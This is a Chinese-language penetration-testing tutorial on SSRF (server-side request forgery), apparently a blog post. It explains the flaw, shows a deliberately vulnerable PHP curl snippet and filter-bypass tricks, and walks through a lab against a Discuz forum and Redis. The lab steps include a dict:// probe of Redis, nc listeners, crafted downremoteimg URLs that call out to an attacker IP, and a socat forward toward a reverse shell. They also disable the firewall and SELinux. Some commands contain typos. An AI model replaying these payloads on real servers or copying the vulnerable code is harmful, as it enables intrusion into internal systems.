web渗透-SSRF漏洞及discuz论坛网站测试

本文涉及的产品
多模态交互后付费免费试用,全链路、全Agent
简介: SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。

一、简介

ssrf(server-side request forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,ssrf是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

二、原理

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如:A网站,是一个所有人都可以访问的外网网站,b网站是一个他们内部的oa网站,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以通过a网站做中间人,访问b网站,从而达到攻击b网站需求。

三、SSRF用途

1,可以对外网,服务器所在内网,本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sql等)
5.利用file协议读取本地文件等。

四、SSRF漏洞寻找途径

1.能够对外发起网络请求的地方,就可能存在ssrf漏洞
2.从远程服务器请求资源(upload from url,import & export rss feed)
3.数据库内置功能(oracle,mongodb, mssql, postgres,couchdb)
4.webmail收取其他邮箱邮件(pop3/imap/smtp)
5.文件处理,编码处理,属性信息处理(ffpmg,lmagemaic,dogx.rdf.xml处理器)

五、漏洞代码

1. PHP

<?php
function curl($url)
{
   $ch =curl_init();
  curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch );
curl_close($ch);
}
$url =$_GET['url'];
curl($url);
?>

六、SSRF常见防御限制以及绕过

伪协议:

防御:

1 限制请求的端口只能为web端口,只允许访问http和https的请求。
2 限制域名只能为http://www.xxx.com
3 限制不能访问内网的ip,以防止对内网进行攻击。
4 屏蔽返回的详细信息。

绕过方式:

解决:在网址后使用@符号再加上引入网址
  如:http://www.baidu.com@www.csdn.net(实际访问的是csdn网站)
  利用302跳转绕过
  利用短网址绕过

七、漏洞利用

1. 靶场环境搭建(Centos 7)

1.1. Centos  7 基本命令
#  关闭防火墙
systemctl stop firewalld
1.2. Apache安装
# 安装 
yum install -y httpd httpd-devel
#  启动服务
systemctl start httpd.service
# 查看状态
 systemctl status httpd.service
# 网站根目录:/var/www/html

1.3. Redis安装
# 地址: http://download.redis.io/releases/redis-3.0.4.tar.gz
wget http://download.redis.io/releases/redis-3.0.4.tar.gz
# 解压:
tar zvxf  redis-3.0.4.tar.gz
cd redis-3.0.4
# 安装gcc
yum -y install gcc
# 源码安装
make
# 安装完成进入 src目录
cd src 
# 运行服务端
 ./redis-server

连接:

reid-cli

1.4. Mysql安装
# 安装
yum -y install mariadb mariadb-server mariadb-libs mariadb-devel
# 启动服务
systemctl start mariadb.service
# 查看状态
systemctl status  mariadb.service

1.5. PHP安装
# 安装
yum -y install php
# PHP关联数据库
yum -y install php-mysql 
# 测试PHP
# 在 /var/www/html 目录中创建php文件并访问
# index.php
vim /var/www/html/index.php
# 内容
<h1>php</h1>
# 重启Apache
systemctl restart httpd.service
# 访问:http://IP:80

1.6. discuz
  • 简介

discuz是一套通用的社区论坛软件系统。自2001年6月面世以来,discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高,覆盖率最大的论坛软件系统之一。

# 上传到/var/www/html并解压
unzip d.zip
# 切换权限
chown apache:apache -R upload
chmod  -R 777 upload

  • 访问:http:ip:80/upload

  • 存在问题: 不可写

  • 修改配置
# SELINUX=enforcing
# 修改为:
SELINUX=
# 重启虚拟机

  • 数据库密码默认设置为空:

  • 安装成功

1.7. 测试
# Kali
#获取 靶机的redis信息
 curl -v "dict://192.168.198.135:6379/info"

2. redis计划任务反弹Shell

  • 核心漏洞:未授权访问漏洞

3. SSRF漏洞还原

攻击机IP:192.168.198.129

靶机IP:192.168.198.135

  • 首先,攻击机开启nc监听:
nc -lvp 6666

  • 靶机网页:
# 网址栏输入
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129:666/1.jpg[/img]
或:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.198.129:6666?data=he2I0.jpg[/img]

4. 协议限制绕过方式:

  • 攻击机
# 步骤:
# 在Apache服务中建立一个PHP页面
# fpt.php
# header 网页跳转
# http:可以修改为任意协议
<?  php
  header("Localtion: http://192.168.198.129:6666/abc");
?>
# 开启监听
nc -lvp 6666

靶机:

#  网页访问:
http://192.168.198.135/upload/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.198.129/ftp.php[/img]

5. 利用ssrf操作内网的redis写入计划返回shell

操作步骤参考:https://blog.csdn.net/weixin_44971640

  • 主要sh脚本文件内容

端口转发命令:

# 将1111端口接收的数据转发到6666端口
socat -v top-listen:1111 ,fork tcp-connect:localhost:6666
相关实践学习
通过轻量消息队列(原MNS)主题HTTP订阅+ARMS实现自定义数据多渠道告警
本场景将自定义告警信息同时分发至多个通知渠道的需求,例如短信、电子邮件及钉钉群组等。通过采用轻量消息队列(原 MNS)的主题模型的HTTP订阅方式,并结合应用实时监控服务提供的自定义集成能力,使得您能够以简便的配置方式实现上述多渠道同步通知的功能。
目录
相关文章
|
20天前
|
安全 PHP 开发工具
Web渗透信息收集进阶
网站敏感目录与文件指易被恶意扫描利用的路径,如后台管理、.git、.svn等,可能导致源码泄露或权限入侵。常用工具如御剑、Dirbuster、Dirsearch可探测此类信息,需加强安全防护。
372 58
Web渗透信息收集进阶
|
20天前
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
381 59
|
20天前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
367 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
20天前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
91 0
Web渗透-文件上传漏洞-上篇
|
20天前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
74 0
|
20天前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
294 0
web渗透-文件包含漏洞
|
20天前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
224 0
web渗透-CSRF漏洞
|
4月前
|
Java 测试技术 容器
Jmeter工具使用:HTTP接口性能测试实战
希望这篇文章能够帮助你初步理解如何使用JMeter进行HTTP接口性能测试,有兴趣的话,你可以研究更多关于JMeter的内容。记住,只有理解并掌握了这些工具,你才能充分利用它们发挥其应有的价值。+
752 23
|
9月前
|
数据可视化 前端开发 测试技术
接口测试新选择:Postman替代方案全解析
在软件开发中,接口测试工具至关重要。Postman长期占据主导地位,但随着国产工具的崛起,越来越多开发者转向更适合中国市场的替代方案——Apifox。它不仅支持中英文切换、完全免费不限人数,还具备强大的可视化操作、自动生成文档和API调试功能,极大简化了开发流程。
|
6月前
|
SQL 安全 测试技术
2025接口测试全攻略:高并发、安全防护与六大工具实战指南
本文探讨高并发稳定性验证、安全防护实战及六大工具(Postman、RunnerGo、Apipost、JMeter、SoapUI、Fiddler)选型指南,助力构建未来接口测试体系。接口测试旨在验证数据传输、参数合法性、错误处理能力及性能安全性,其重要性体现在早期发现问题、保障系统稳定和支撑持续集成。常用方法包括功能、性能、安全性及兼容性测试,典型场景涵盖前后端分离开发、第三方服务集成与数据一致性检查。选择合适的工具需综合考虑需求与团队协作等因素。
722 24

热门文章

最新文章